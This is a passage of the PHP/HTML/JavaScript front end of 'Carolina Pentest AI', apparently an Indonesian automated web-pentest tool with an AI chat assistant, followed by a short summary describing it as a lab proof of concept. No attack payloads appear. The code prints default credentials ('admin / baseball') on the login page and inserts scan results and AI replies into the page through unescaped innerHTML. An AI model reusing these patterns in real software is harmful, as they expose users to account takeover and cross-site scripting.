595$is_logged_in = isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true;
596if ($is_logged_in) $ai_status = check_ai_status();
597$pentest_data = load_json(PENTEST_FILE, ['target'=>'Belum ada']);
598$target_data = load_json(TARGET_FILE, ['target'=>'']);
599?>
600<!DOCTYPE html>
601<html>
602<head>
603    <meta charset="UTF-8">
604    <meta name="viewport" content="width=device-width, initial-scale=1.0">
605    <title>Carolina Pentest AI</title>
606    <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet">
607    <style>
608        *{margin:0;padding:0;box-sizing:border-box}body{font-family:sans-serif;background:#080c14;color:#e8edf5;height:100vh;overflow:hidden}
609        .login-page{display:<?php echo $is_logged_in?'none':'flex';?>;align-items:center;justify-content:center;height:100vh;background:#0d1a2b}
610        .login-box{background:rgba(17,25,39,0.95);padding:40px;border-radius:24px;width:100%;max-width:400px;text-align:center}
611        .login-box h1{color:#ff6f00}
612        .login-box input{width:100%;padding:12px;margin:8px 0;border-radius:8px;border:1px solid #4fc3f7;background:rgba(8,12,20,0.8);color:#fff}
613        .login-box button{width:100%;padding:12px;background:#e65100;color:#fff;border:none;border-radius:8px;font-weight:bold;cursor:pointer}
614        .app-container{display:<?php echo $is_logged_in?'flex':'none';?>;height:100vh}
615        .sidebar{width:380px;background:rgba(13,22,35,0.98);border-right:1px solid #2a3a4a;display:flex;flex-direction:column;overflow:hidden;padding:12px}
616        .sidebar-header h2{color:#ff6f00}
617        .sidebar-content{flex:1;overflow-y:auto}
618        .target-input .row{display:flex;gap:6px;margin:6px 0}
619        .target-input input{flex:1;padding:8px;border-radius:8px;border:1px solid #2a3a4a;background:#0a1220;color:#fff}
620        .target-input .btn-run{padding:8px 16px;background:#e65100;border:none;border-radius:8px;color:#fff;cursor:pointer}
621        .stat-grid{display:grid;grid-template-columns:1fr 1fr 1fr;gap:4px;margin:8px 0}
622        .stat-card{background:rgba(8,12,20,0.6);padding:6px;text-align:center;border-radius:6px}
623        .stat-card .num{font-size:20px;font-weight:bold}
624        .stat-card .red{color:#ef5350}.stat-card .orange{color:#ffa726}.stat-card .blue{color:#4fc3f7}.stat-card .green{color:#66bb6a}
625        .vuln-item{background:rgba(8,12,20,0.5);padding:4px 8px;margin:2px 0;border-left:3px solid #ffa726;font-size:12px}
626        .main-chat{flex:1;display:flex;flex-direction:column;background:#080c14}
627        .chat-header{padding:12px 20px;border-bottom:1px solid #2a3a4a;display:flex;justify-content:space-between}
628        .chat-messages{flex:1;overflow-y:auto;padding:16px}
629        .message{margin-bottom:12px;display:flex}
630        .message.user{justify-content:flex-end}
631        .bubble{max-width:85%;padding:10px 16px;border-radius:14px;background:rgba(17,25,39,0.9);border:1px solid #2a3a4a}
632        .message.user .bubble{background:#1a4a6a;border-bottom-right-radius:4px}
633        .chat-input{display:flex;padding:10px 20px;border-top:1px solid #2a3a4a;gap:8px}
634        .chat-input input{flex:1;padding:10px;border-radius:12px;border:1px solid #2a3a4a;background:#0a1220;color:#fff}
635        .chat-input .btn-send{padding:10px 18px;background:#e65100;border:none;border-radius:12px;color:#fff;cursor:pointer}
636        .toast{position:fixed;bottom:80px;left:50%;transform:translateX(-50%);background:rgba(17,25,39,0.95);padding:12px 24px;border-radius:12px;display:none;z-index:999}
637        .toast.show{display:block}
638        .typing-indicator{display:none;padding:6px 0;color:#4a6a7a}
639        .typing-indicator.active{display:flex}
640        .dot{display:inline-block;width:12px;height:12px;border-radius:50%;margin-right:6px}
641        .dot.online{background:#4caf50}
642        .dot.offline{background:#f44336}
643        @media(max-width:768px){.sidebar{width:300px;position:fixed;left:0;top:0;height:100%;transform:translateX(-110%)}
644        .sidebar.open{transform:translateX(0)}}
645    </style>
646</head>
647<body>
648<div class="toast" id="toast"></div>
649
650<!-- LOGIN -->
651<div class="login-page">
652    <div class="login-box">
653        <h1>Carolina Pentest AI</h1>
654        <p>Pengujian Keamanan Otomatis</p>
655        <?php if (isset($login_error)) echo '<p style="color:#ef5350;">'.$login_error.'</p>'; ?>
656        <form method="POST">
657            <input type="text" name="username" placeholder="Username" required>
658            <input type="password" name="password" placeholder="Password" required>
659            <button type="submit" name="login">Masuk</button>
660        </form>
661        <p style="margin-top:10px;color:#6a8a9a;">Default: admin / baseball</p>
662    </div>
663</div>
664
665<!-- APP -->
666<div class="app-container">
667    <div class="sidebar" id="sidebar">
668        <div class="sidebar-header">
669            <h2><i class="fas fa-bug"></i>X-code Pentest AI - xcode.co.id</h2>
670        </div>
671        <div class="sidebar-content">
672            <div class="ai-status-bar" style="display:flex;align-items:center;margin-bottom:10px;">
673                <span class="dot <?php echo ($ai_status['status']??false)?'online':'offline'; ?>" id="aiDot"></span>
674                <span id="aiText" style="color:<?php echo ($ai_status['status']??false)?'#4caf50':'#f44336'; ?>;"><?php echo $ai_status['message']??'Memeriksa...'; ?></span>
675                <button onclick="checkAI()" style="background:transparent;border:none;color:#4fc3f7;cursor:pointer;margin-left:auto;">&#8635;</button>
676            </div>
677            <div class="target-input">
678                <div class="label">Target</div>
679                <div class="row">
680                    <input type="text" id="targetInput" placeholder="domain.com/path" value="<?php echo htmlspecialchars($target_data['target']??''); ?>">
681                    <button class="btn-run" onclick="runPentest()" id="runBtn"><i class="fas fa-play"></i> Jalankan</button>
682                </div>
683                <div>
684                    <label><input type="radio" name="protocol" value="http" checked> HTTP</label>
685                    <label><input type="radio" name="protocol" value="https"> HTTPS</label>
686                </div>
687            </div>
688            <div class="info-input" style="display:flex;gap:6px;margin:6px 0;">
689                <input type="text" id="pentesterInput" placeholder="Penguji" value="<?php echo htmlspecialchars($target_data['pentester']??'Tim'); ?>" style="flex:1;padding:6px;border-radius:6px;border:1px solid #2a3a4a;background:#0a1220;color:#fff;">
690                <input type="text" id="clientInput" placeholder="Klien" value="<?php echo htmlspecialchars($target_data['client']??'Klien'); ?>" style="flex:1;padding:6px;border-radius:6px;border:1px solid #2a3a4a;background:#0a1220;color:#fff;">
691            </div>
692            <div class="progress-container" id="progressContainer" style="display:none;">
693                <span id="progressPercent">0%</span>
694                <div style="width:100%;height:6px;background:#1a2a3a;border-radius:4px;margin:4px 0;">
695                    <div id="progressFill" style="height:100%;background:linear-gradient(90deg,#ff6f00,#ffa726);border-radius:4px;width:0%;"></div>
696                </div>
697                <span id="progressStatus">Memulai...</span>
698            </div>
699            <div class="stat-grid">
700                <div class="stat-card"><div class="num red" id="statVuln"><?php echo $pentest_data['summary']['total']??0; ?></div><div>Total</div></div>
701                <div class="stat-card"><div class="num orange" id="statCritical"><?php echo $pentest_data['summary']['critical']??0; ?></div><div>Kritis</div></div>
702                <div class="stat-card"><div class="num blue" id="statHigh"><?php echo $pentest_data['summary']['high']??0; ?></div><div>Tinggi</div></div>
703            </div>
704            <div class="stat-grid" style="margin-top:-4px;">
705                <div class="stat-card"><div class="num purple" id="statMedium" style="color:#ce93d8;"><?php echo $pentest_data['summary']['medium']??0; ?></div><div>Sedang</div></div>
706                <div class="stat-card"><div class="num green" id="statLow"><?php echo $pentest_data['summary']['low']??0; ?></div><div>Rendah</div></div>
707                <div class="stat-card"><div class="num <?php echo ($pentest_data['summary']['exploitable']??false)?'red':'green'; ?>" id="statExploitable"><?php echo ($pentest_data['summary']['exploitable']??false)?'Ya':'Tidak'; ?></div><div>Eksploitasi</div></div>
708            </div>
709            <div id="vulnList">
710                <?php if (!empty($pentest_data['vulnerabilities'])): ?>
711                    <?php foreach (array_slice($pentest_data['vulnerabilities'],0,10) as $v): ?>
712                        <div class="vuln-item"><span class="type"><?php echo htmlspecialchars($v['type']??'Unknown'); ?></span> <span><?php echo htmlspecialchars($v['severity']??'MEDIUM'); ?></span> <span><?php echo htmlspecialchars($v['url']??'N/A'); ?></span></div>
713                    <?php endforeach; ?>
714                <?php else: ?>
715                    <div>Belum ada pentest</div>
716                <?php endif; ?>
717            </div>
718        </div>
719        <div style="padding:10px;display:flex;gap:4px;flex-wrap:wrap;border-top:1px solid #2a3a4a;">
720            <button onclick="runPentest()" style="flex:1;background:#2a3a4a;border:none;color:#e8edf5;padding:6px;border-radius:6px;cursor:pointer;">Jalankan</button>
721            <button onclick="generateVA()" style="flex:1;background:#2a3a4a;border:none;color:#4fc3f7;padding:6px;border-radius:6px;cursor:pointer;">VA</button>
722            <button onclick="generateReport()" style="flex:1;background:#2a3a4a;border:none;color:#ffa726;padding:6px;border-radius:6px;cursor:pointer;">Pentest</button>
723            <button onclick="window.location.href='?logout=1'" style="flex:1;background:#2a3a4a;border:none;color:#ef5350;padding:6px;border-radius:6px;cursor:pointer;">Logout</button>
724        </div>
725    </div>
726
727    <div class="main-chat">
728        <div class="chat-header">
729            <div><i class="fas fa-robot"></i> X-code Asisten AI Pentest - xcode.co.id<span style="font-size:9px;background:rgba(255,167,38,0.15);padding:1px 8px;border-radius:10px;">OpenRouter</span></div>
730            <div>
731                <button onclick="clearHistory()" style="background:transparent;border:none;color:#8aa0b0;cursor:pointer;"><i class="fas fa-trash"></i></button>
732                <button onclick="window.location.href='?logout=1'" style="background:transparent;border:none;color:#ef5350;cursor:pointer;"><i class="fas fa-sign-out-alt"></i></button>
733            </div>
734        </div>
735        <div class="chat-messages" id="chatMessages">
736            <div class="message ai"><div class="bubble"><b>Selamat datang!</b><br>Masukkan target dan klik Jalankan untuk memulai pentest.</div></div>
737        </div>
738        <div class="typing-indicator" id="typingIndicator"><i class="fas fa-robot"></i> AI sedang mengetik...</div>
739        <div class="chat-input">
740            <input type="text" id="chatInput" placeholder="Tanyakan tentang hasil pentest..." onkeydown="if(event.key==='Enter') sendMessage()">
741            <button class="btn-send" onclick="sendMessage()" id="sendBtn"><i class="fas fa-paper-plane"></i> Kirim</button>
742        </div>
743    </div>
744</div>
745
746<script>
747console.log('JS loaded');
748let isProcessing=false, isPentesting=false, progressInterval=null;
749
750function showToast(msg,type='info'){
751    const t=document.getElementById('toast');
752    t.textContent=msg;
753    t.className='toast show '+type;
754    clearTimeout(t._timeout);
755    t._timeout=setTimeout(()=>t.className='toast',4000);
756}
757
758function checkAI(){
759    const dot=document.getElementById('aiDot');
760    const text=document.getElementById('aiText');
761    dot.className='dot';
762    text.textContent='Memeriksa...';
763    text.style.color='#ffa726';
764    const data=new URLSearchParams();
765    data.append('action','check_ai');
766    fetch('',{method:'POST',body:data})
767    .then(r=>r.json())
768    .then(res=>{
769        if(res.success){
770            const online=res.data.status;
771            dot.className='dot '+(online?'online':'offline');
772            text.textContent=res.data.message;
773            text.style.color=online?'#4caf50':'#f44336';
774            if(!online) showToast('AI Offline: '+res.data.message,'error');
775            else showToast('AI Online','success');
776        }
777    }).catch(()=>{
778        dot.className='dot offline';
779        text.textContent='Gagal memeriksa AI';
780        text.style.color='#f44336';
781    });
782}
783
784function runPentest(){
785    if(isPentesting) return;
786    const target=document.getElementById('targetInput').value.trim();
787    const pentester=document.getElementById('pentesterInput').value.trim()||'Tim';
788    const client=document.getElementById('clientInput').value.trim()||'Klien';
789    const protocol=document.querySelector('input[name="protocol"]:checked').value;
790    if(!target){ showToast('Masukkan target','error'); return; }
791    isPentesting=true;
792    const btn=document.getElementById('runBtn');
793    btn.innerHTML='<i class="fas fa-spinner fa-spin"></i> Menjalankan...';
794    btn.disabled=true;
795    document.getElementById('progressContainer').style.display='block';
796    updateProgress(0,'Memulai...');
797    addMessage('user','Mulai pentest untuk '+protocol+'://'+target);
798    const data=new URLSearchParams();
799    data.append('action','run_pentest');
800    data.append('target',target);
801    data.append('pentester',pentester);
802    data.append('client',client);
803    data.append('protocol',protocol);
804    let sim=0;
805    progressInterval=setInterval(()=>{
806        if(sim<95){ sim+=Math.random()*3; if(sim>95) sim=95; updateProgress(Math.round(sim), getPhase(sim)); }
807    },2000);
808    fetch('',{method:'POST',body:data})
809    .then(r=>r.json())
810    .then(res=>{
811        clearInterval(progressInterval);
812        isPentesting=false;
813        btn.innerHTML='<i class="fas fa-play"></i> Jalankan';
814        btn.disabled=false;
815        if(res.success){
816            updateProgress(100,'Selesai!');
817            updateStats(res.data);
818            showToast('Pentest selesai! Ditemukan '+res.data.summary.total+' kerentanan','success');
819            addMessage('ai','Pentest selesai! Total: '+res.data.summary.total+' | Kritis: '+res.data.summary.critical+' | Tinggi: '+res.data.summary.high);
820        }else{
821            updateProgress(0,'Error');
822            showToast('Error: '+res.message,'error');
823        }
824    }).catch(err=>{
825        clearInterval(progressInterval);
826        isPentesting=false;
827        btn.innerHTML='<i class="fas fa-play"></i> Jalankan';
828        btn.disabled=false;
829        updateProgress(0,'Error');
830        showToast('Error: '+err.message,'error');
831    });
832    setTimeout(()=>{
833        if(isPentesting){
834            clearInterval(progressInterval);
835            isPentesting=false;
836            btn.innerHTML='<i class="fas fa-play"></i> Jalankan';
837            btn.disabled=false;
838            updateProgress(0,'Timeout');
839            showToast('Timeout','error');
840        }
841    },300000);
842}
843
844function getPhase(p){ if(p<15)return 'Pra-engagement'; if(p<30)return 'Pengumpulan Intel'; if(p<45)return 'Pemodelan Ancaman'; if(p<70)return 'Pemindaian Kerentanan'; if(p<90)return 'Eksploitasi'; if(p<98)return 'Pasca Eksploitasi'; return 'Pelaporan'; }
845
846function updateProgress(percent,status){
847    document.getElementById('progressPercent').textContent=percent+'%';
848    document.getElementById('progressFill').style.width=percent+'%';
849    document.getElementById('progressStatus').textContent=status;
850}
851
852function sendMessage(){
853    const input=document.getElementById('chatInput');
854    const msg=input.value.trim();
855    if(!msg||isProcessing) return;
856    input.value='';
857    input.disabled=true;
858    document.getElementById('sendBtn').disabled=true;
859    isProcessing=true;
860    addMessage('user',msg);
861    document.getElementById('typingIndicator').classList.add('active');
862    const data=new URLSearchParams();
863    data.append('action','send_message');
864    data.append('message',msg);
865    fetch('',{method:'POST',body:data})
866    .then(r=>r.json())
867    .then(res=>{
868        document.getElementById('typingIndicator').classList.remove('active');
869        if(res.success) addMessage('ai',res.data);
870        else addMessage('ai','Error: '+res.message);
871        input.disabled=false;
872        document.getElementById('sendBtn').disabled=false;
873        input.focus();
874        isProcessing=false;
875    }).catch(err=>{
876        document.getElementById('typingIndicator').classList.remove('active');
877        addMessage('ai','Error: '+err.message);
878        input.disabled=false;
879        document.getElementById('sendBtn').disabled=false;
880        isProcessing=false;
881    });
882}
883
884function addMessage(type,content){
885    const container=document.getElementById('chatMessages');
886    const div=document.createElement('div');
887    div.className='message '+type;
888    const bubble=document.createElement('div');
889    bubble.className='bubble';
890    const sender=document.createElement('div');
891    sender.style.fontSize='10px';
892    sender.style.color='#5a7a7a';
893    sender.textContent=type==='user'?'Anda':'AI';
894    const contentDiv=document.createElement('div');
895    contentDiv.innerHTML=content.replace(/\n/g,'<br>');
896    const time=document.createElement('div');
897    time.style.fontSize='8px';
898    time.style.color='#4a6a7a';
899    time.textContent=new Date().toLocaleTimeString('id-ID');
900    bubble.appendChild(sender);
901    bubble.appendChild(contentDiv);
902    bubble.appendChild(time);
903    div.appendChild(bubble);
904    container.appendChild(div);
905    container.scrollTop=container.scrollHeight;
906}
907
908function updateStats(data){
909    const s=data.summary||{};
910    document.getElementById('statVuln').textContent=s.total||0;
911    document.getElementById('statCritical').textContent=s.critical||0;
912    document.getElementById('statHigh').textContent=s.high||0;
913    document.getElementById('statMedium').textContent=s.medium||0;
914    document.getElementById('statLow').textContent=s.low||0;
915    const el=document.getElementById('statExploitable');
916    const exp=s.exploitable||false;
917    el.textContent=exp?'Ya':'Tidak';
918    el.className='num '+(exp?'red':'green');
919    const list=document.getElementById('vulnList');
920    const vulns=data.vulnerabilities||[];
921    if(vulns.length){
922        list.innerHTML='';
923        vulns.slice(0,10).forEach(v=>{
924            list.innerHTML+=`<div class="vuln-item"><span class="type">${v.type||'Unknown'}</span> <span>${(v.severity||'MEDIUM').toUpperCase()}</span> <span>${v.url||'N/A'}</span></div>`;
925        });
926    }else list.innerHTML='<div>Belum ada pentest</div>';
927}
928
929function generateVA(){
930    showToast('Membuat Laporan VA...','info');
931    addMessage('ai','Membuat laporan VA...');
932    const data=new URLSearchParams();
933    data.append('action','get_va_report');
934    fetch('',{method:'POST',body:data})
935    .then(r=>r.json())
936    .then(res=>{
937        if(res.success && res.data.title!=='Belum ada'){
938            const report=res.data;
939            let text='=== LAPORAN VA ===\nTarget: '+report.title+'\nTanggal: '+report.date+'\nPenguji: '+report.pentester+'\nKlien: '+report.client+'\n';
940            if(report.server_info) text+='Info Server: '+report.server_info+'\n';
941            text+='Total: '+report.executive_summary.total+'\nKritis: '+report.executive_summary.critical+'\nTinggi: '+report.executive_summary.high+'\n';
942            text+='--- KERENTANAN ---\n';
943            report.vulnerabilities.forEach((v,i)=>{ text+=(i+1)+'. '+v.type+' | '+v.severity+' | '+v.url+'\n'; });
944            text+='--- REKOMENDASI ---\n';
945            report.recommendations.forEach(r=>text+='- '+r+'\n');
946            text+='Parameter yang diuji: '+ (report.parameters_tested ? report.parameters_tested.join(', ') : 'Tidak ada') + '\n';
947            downloadFile(text,'va_report.txt');
948            showToast('Laporan VA diunduh','success');
949            addMessage('ai','Laporan VA berhasil diunduh.');
950        }else{ showToast('Belum ada data. Jalankan pentest dulu.','error'); }
951    }).catch(err=>{ showToast('Error: '+err.message,'error'); });
952}
953
954function generateReport(){
955    showToast('Membuat Laporan Pentest...','info');
956    addMessage('ai','Membuat laporan Pentest...');
957    const data=new URLSearchParams();
958    data.append('action','get_full_report');
959    fetch('',{method:'POST',body:data})
960    .then(r=>r.json())
961    .then(res=>{
962        if(res.success && res.data.title!=='Belum ada'){
963            const report=res.data;
964            let text='=== LAPORAN PENTEST ===\nJudul: '+report.title+'\nTanggal: '+report.date+'\nPenguji: '+report.pentester+'\nKlien: '+report.client+'\n';
965            if(report.server_info) text+='Info Server: '+report.server_info+'\n';
966            text+='Total: '+report.executive_summary.total+'\nKritis: '+report.executive_summary.critical+'\nTinggi: '+report.executive_summary.high+'\n';
967            text+='--- KERENTANAN ---\n';
968            report.vulnerabilities.forEach((v,i)=>{ text+=(i+1)+'. '+v.type+' | '+v.severity+' | '+v.url+'\n'; });
969            text+='--- REKOMENDASI ---\n';
970            report.recommendations.forEach(r=>text+='- '+r+'\n');
971            text+='--- KESIMPULAN ---\n'+report.conclusion+'\n';
972            text+='Parameter yang diuji: '+ (report.parameters_found ? report.parameters_found.join(', ') : 'Tidak ada') + '\n';
973            downloadFile(text,'pentest_report.txt');
974            showToast('Laporan Pentest diunduh','success');
975            addMessage('ai','Laporan Pentest berhasil diunduh.');
976        }else{ showToast('Belum ada data. Jalankan pentest dulu.','error'); }
977    }).catch(err=>{ showToast('Error: '+err.message,'error'); });
978}
979
980function downloadFile(content,filename){
981    const blob=new Blob([content],{type:'text/plain;charset=utf-8'});
982    const url=URL.createObjectURL(blob);
983    const a=document.createElement('a');
984    a.href=url; a.download=filename;
985    document.body.appendChild(a); a.click(); document.body.removeChild(a);
986    URL.revokeObjectURL(url);
987}
988
989function clearHistory(){
990    if(!confirm('Hapus riwayat chat?')) return;
991    const data=new URLSearchParams();
992    data.append('action','clear_history');
993    fetch('',{method:'POST',body:data})
994    .then(()=>{
995        document.getElementById('chatMessages').innerHTML='<div class="message ai"><div class="bubble">Riwayat dibersihkan.</div></div>';
996        showToast('Riwayat dibersihkan','success');
997    });
998}
999
1000document.addEventListener('DOMContentLoaded', function(){
1001    <?php if($is_logged_in): ?>
1002    checkAI();
1003    fetch('',{method:'POST',body:new URLSearchParams('action=get_pentest_result')})
1004    .then(r=>r.json()).then(res=>{ if(res.success) updateStats(res.data); });
1005    <?php endif; ?>
1006});
1007</script>
1008</body>
1009</html>
1010
Kesimpulan

Carolina Pentest AI Beta 1 merupakan proof-of-concept yang menunjukkan bagaimana automated security testing dapat dikombinasikan dengan AI. Versi pertama ini sudah memiliki automated reconnaissance, parameter discovery, SQL Injection testing, Reflected XSS testing, LFI/Path Traversal testing, Command Injection detection, Apache vulnerability checking, JSON-based result storage, VA reporting, Pentest reporting, serta AI-assisted analysis. Hasil pengujian pada environment lab menunjukkan bahwa scanner mampu menemukan vulnerability seperti SQL Injection, Reflected XSS, dan LFI/Path Traversal.

Status: Experimental / Beta 1 · Fokus: Automated Web Security Testing + AI Analysis · Tujuan: Research, Learning, Lab & Authorized Security Testing